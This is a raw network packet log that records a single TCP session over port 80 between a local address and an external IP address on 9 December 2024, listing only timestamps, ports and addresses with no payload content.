Dec 9, 2024 15:30:16.146758080 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.148161888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.148178101 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.148216963 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.149684906 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.149698973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.149740934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.151427031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.151446104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.151473999 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.151499987 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.152879000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.152893066 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.152924061 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.152939081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.274036884 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.274337053 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.274435997 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.274454117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.274497986 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.275201082 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.275245905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.275930882 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.275945902 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.275990009 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.277391911 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.277441025 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.277879000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.277925968 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.280011892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.280033112 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.280045986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.280059099 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.280078888 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.280100107 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.281970024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.281986952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.282037973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.284132004 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.284147978 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.284162045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.284205914 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.284218073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.285029888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.285093069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.285624981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.285639048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.285686016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.287148952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.287163973 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.287211895 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.287240982 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.288376093 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.288391113 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.288444042 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.289638042 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.289653063 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.289695024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.292912006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.292979956 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.294483900 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.294497967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.294539928 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.295840979 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.295855045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.295901060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.297692060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.297708988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.297749043 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.297787905 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.299458981 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.299473047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.299489021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.299524069 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.299554110 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.301350117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.301362991 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.301409006 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.302556992 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.302575111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.302607059 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.302633047 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.303952932 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.303966045 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.304006100 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.305196047 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.305210114 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.305221081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.305249929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.305275917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.306632996 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.306648016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.306684971 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.309190989 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.309209108 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.309221983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.309233904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.309250116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.309282064 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.310434103 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.310488939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.310489893 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.310534954 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.312011003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.312025070 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.312037945 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.312097073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.312097073 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.313438892 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.313453913 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.313498974 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.314989090 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.315002918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.315047026 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.316401958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.316415071 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.316456079 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.318264961 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.318280935 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.318300962 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.318342924 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.318357944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.319509983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.319525003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.319566011 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.319582939 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.320895910 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.320947886 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.320955992 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.320997953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.322484016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.322495937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.322544098 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.324018955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.324033022 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.324073076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.325402021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.325414896 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.325426102 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.325463057 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.327035904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.327049971 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.327091932 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.328404903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.328418016 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.328458071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.330127001 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.330141068 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.330192089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.331621885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.331634998 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.331645012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.331707001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.331707001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.333017111 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.333030939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.333077908 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.334558010 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.334578037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.334616899 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.334641933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.335958958 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.335973024 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.336025953 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.337546110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.337559938 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.337608099 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.339157104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.339174032 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.339190006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.339215040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.339240074 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.340671062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.340683937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.340730906 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.341984034 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.342000008 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.342042923 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.342068911 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.343461990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.343476057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.343523979 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.345098019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.345110893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.345119953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.345155001 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.345182896 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.346448898 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.346461058 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.346514940 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.467860937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.467976093 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.468117952 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.468256950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.468765974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.468849897 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.469438076 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.469501972 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.470204115 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.470217943 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.470253944 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.471479893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.471535921 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.472129107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.472834110 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.472847939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.472887993 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.472914934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.474201918 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.474220037 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.474272013 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.475501060 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.475523949 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.475554943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.475583076 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.477108955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.478728056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.478749990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.478764057 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.478806973 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.478832960 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.479996920 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.480021000 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.480073929 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.483629942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.483695984 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.485085011 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.486526012 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.486541033 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.486581087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.486608028 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.488090038 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.488104105 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.488115072 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.488146067 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.488173962 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.489548922 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.489563942 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.489615917 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.491060019 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.491072893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.491126060 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.492712021 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.492726088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.492779016 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.494194031 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.494209051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.494245052 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.495929003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.495944023 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.495954990 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.495994091 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.496004105 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.497490883 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.497504950 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.497559071 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.499027967 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.499042988 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.499084949 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.500364065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.500386953 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.500446081 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.501442909 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.501492977 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.501508951 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.501523018 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.501565933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.502921104 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.502934933 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.502979040 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.504236937 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.504251003 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.504293919 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.505768061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.505783081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.505845070 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.507158041 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.507213116 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.510031939 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.510045052 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.510097980 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.511524916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.511538982 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.511550903 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.511574030 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.511603117 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.512979984 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.512994051 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.513044119 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.514477968 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.514491081 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.514532089 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.516041994 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.516056061 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.516092062 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.516114950 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.517894983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.517910957 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.517923117 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.517963886 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.519018888 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.519032955 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.519068003 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.519092083 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.520668983 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.520682096 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.520730019 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.522159100 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.522171974 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.522218943 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.523824930 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.523840904 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.523881912 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.523896933 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.525058985 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.525083065 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.525094986 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.525126934 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.526465893 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.526479006 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.526539087 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.527950048 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.527962923 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.528002024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.529666901 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.529681921 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.529736996 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.531294107 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.531308889 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.531331062 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.531358004 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.531373024 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.532684088 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.532697916 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.532742023 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.533925056 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.533938885 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.533984900 CET	49866	80	192.168.2.5	31.41.244.11
Dec 9, 2024 15:30:16.535584927 CET	80	49866	31.41.244.11	192.168.2.5
Dec 9, 2024 15:30:16.535598993 CET	80	49866	31.41.244.11	192.168.2.5
